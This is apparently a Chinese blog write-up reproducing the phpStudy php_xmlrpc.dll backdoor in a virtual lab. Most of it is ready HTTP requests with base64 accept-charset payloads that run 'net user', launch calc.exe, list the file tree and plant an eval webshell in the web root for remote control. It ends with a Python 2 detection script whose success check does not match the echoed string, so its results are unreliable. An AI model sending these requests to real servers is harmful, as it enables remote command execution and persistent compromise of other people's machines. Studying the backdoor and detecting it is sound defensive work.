phpStudy后门分析及复现

前些天由于各种杂事,没来得及关注这个后门漏洞,一切的事情尘埃落定了,终于有时间和精力做点技术了,一篇迟来的phpStudy后门分析及复现奉上。

免责声明

  1. 本文章仅用于技术交流学习,复现环境均在虚拟机中进行,在利用过程中,您应确保自己所有行为符合当地法律法规,并且已经取得了足够的授权。
  2. 如果您在利用的过程中存在任何非法行为,您需自行承担所有后果,作者不承担任何法律及连带责任。除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要使用此文章中所提到的技术。您的使用行为或者您以其他任何明示或者默认方式表示接受本条款的,即视为您已阅读并统一本协议的约束。

影响版本

目前已知受影响的phpStudy版本
phpstudy 2016版php-5.4
phpstudy 2018版php-5.2.17
phpstudy 2018版php-5.4.45

后门位置

后门代码存在于\ext\php_xmlrpc.dll模块中
phpStudy2016和phpStudy2018自带php-5.2.17、php-5.4.45
phpStudy2016路径
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018路径
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
用notepad打开此文件查找@eval,文件存在@eval(%s(‘%s’))证明漏洞存在,如图:
phpStudy后门分析及复现_第1张图片

要求

  1. 请求任意后缀为php的文件
  2. 存在Accept-Encoding: gzip,deflate
  3. accept-charset: 这里就是你要执行的代码命令(经过base64加密)

phpStudy环境搭建

我直接下载了phpStudy2018版本进行漏洞的复现
phpStudy后门分析及复现_第2张图片

漏洞复现

exp_net user

GET /index.php HTTP/1.1
Host: 192.168.31.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Connection: close
accept-charset:ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

phpStudy后门分析及复现_第3张图片
远程命令执行成功,在响应中,可查看到电脑中的用户

exp_system(‘calc.exe’)

GET /index.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Connection: close
accept-charset:c3lzdGVtKCdjYWxjLmV4ZScpOw
Upgrade-Insecure-Requests: 1


由于受前辈们的影响,总是弹计算器,这里我也弹个计算器,此exp是用于弹出计算器,能够弹出计算器,同样可以做其他的任何事情。

exp_写一句话木马菜刀链接

GET /index.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Connection: close
accept-charset:c3lzdGVtKCdlY2hvIF48P3BocCBAZXZhbCgkX1BPU1RbInNoZWxsIl0pP14+PlBIUFR1dG9yaWFsXFdXV1xzaGVsbC5waHAnKTs=
Upgrade-Insecure-Requests: 1

phpStudy后门分析及复现_第4张图片

可能遇到的问题

  1. 若无法成功连接,可能生成目录不对,执行命令tree /f查看文件树,找到可访问路径生成shell
GET /phpinfo.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none,
accept-charset: c3lzdGVtKCd0cmVlIC9mJyk7
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9
  1. 复现漏洞的过程中,我自己遇到一个问题,请求包放到repeater时,会加入很多的空格。
Accept-Encoding: gzip, deflate

在Accept-Encoding中,deflate的前面都有一个空格,这个空格导致重访无法成功,去掉空格即可。

漏洞检测脚本(python2)

import urllib2
import sys
import zlib


headers = {
	"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
	"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36",
	"content-type": "text/xml",
	"Connection": "close",
	"Accept-Language":" zh-CN,zh;q=0.9",
	"Accept-Charset":"ZWNobyAnYmFja2Rvb3InOw==",
	"Accept-Encoding":"gzip,deflate",
	"Upgrade-Insecure-Requests":"1",
}


def check(target):
	GetTarget = urllib2.Request(url=target,headers=headers)
	response = urllib2.urlopen(GetTarget)
	result = response.read()
	
	if response.info().get('Content-Encoding') == 'gzip':
		result = zlib.decompress(result, 16+zlib.MAX_WBITS)
	

	if 'phpstudy backdoor' in result:
		print('{0} {1}'.format(target,'存在后门'))
	else:
		print('{0} {1}'.format(target,'不存在后门'))


if __name__ == '__main__':
	print 'PHPStudy 后门检测工具'
	print '正在检测 ', sys.argv[1]
	check(sys.argv[1])

你可能感兴趣的:(phpStudy后门分析及复现)